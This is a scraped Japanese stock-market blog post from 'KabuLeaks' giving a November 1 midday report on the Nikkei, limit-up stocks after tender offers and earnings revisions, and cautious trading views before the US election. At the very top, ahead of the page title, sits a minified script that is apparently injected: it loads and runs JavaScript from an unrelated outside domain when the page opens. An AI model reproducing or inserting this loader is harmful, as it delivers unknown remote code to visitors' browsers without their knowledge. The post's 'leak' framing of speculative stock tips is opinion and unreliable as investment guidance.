;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【11/1 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【11/1 前引け】

前場の日経平均株価は25円安と小幅続落。前日の原油安を背景に米株が下げたほか、米大統領選の不透明感や直近上昇からの短期的過熱感が引き続き意識され売りが先行した。売り一巡後は10月中国製造業PMIが市場予想を上回ったことから下げ幅縮小も戻りは限定的。また、物色は決算手掛かりをした銘柄中心。新興市場はやや厳しい銘柄が目立っている。

個別では、1株2420円でTBO材料視の【6935】日本デジタル研究所や上方修正を好感された【3641】パピレスがストップ高。前クックパッド社長の穐田氏が1株807円でTOBの【6084】オウチーノ が連日のストップ高に。また、本日から信用規制解除の【6176】ブランジスタが大幅高のほか、上方修正や増配を好感を引き続き材料視の【8909】シノケングループが大幅続伸となっている。その他、値動き軽い中小型株の一角、【3753】フライトHD、【9972】アルテックなども買いを集めている。

日銀会合の結果は既に現状維持を発表ほぼ話題になってないがこれは案の定織り込み済み。後はFOMC、雇用統計控えるも本命は大統領選。この結果が判明するまでは様子見。値動き軽いところで値幅取りが今のところは良いかと思う。

それと新興が雰囲気が悪い印象が強いだけに押し目買いも慎重に。注目銘柄もやや様子見が現状無難なところかと思う。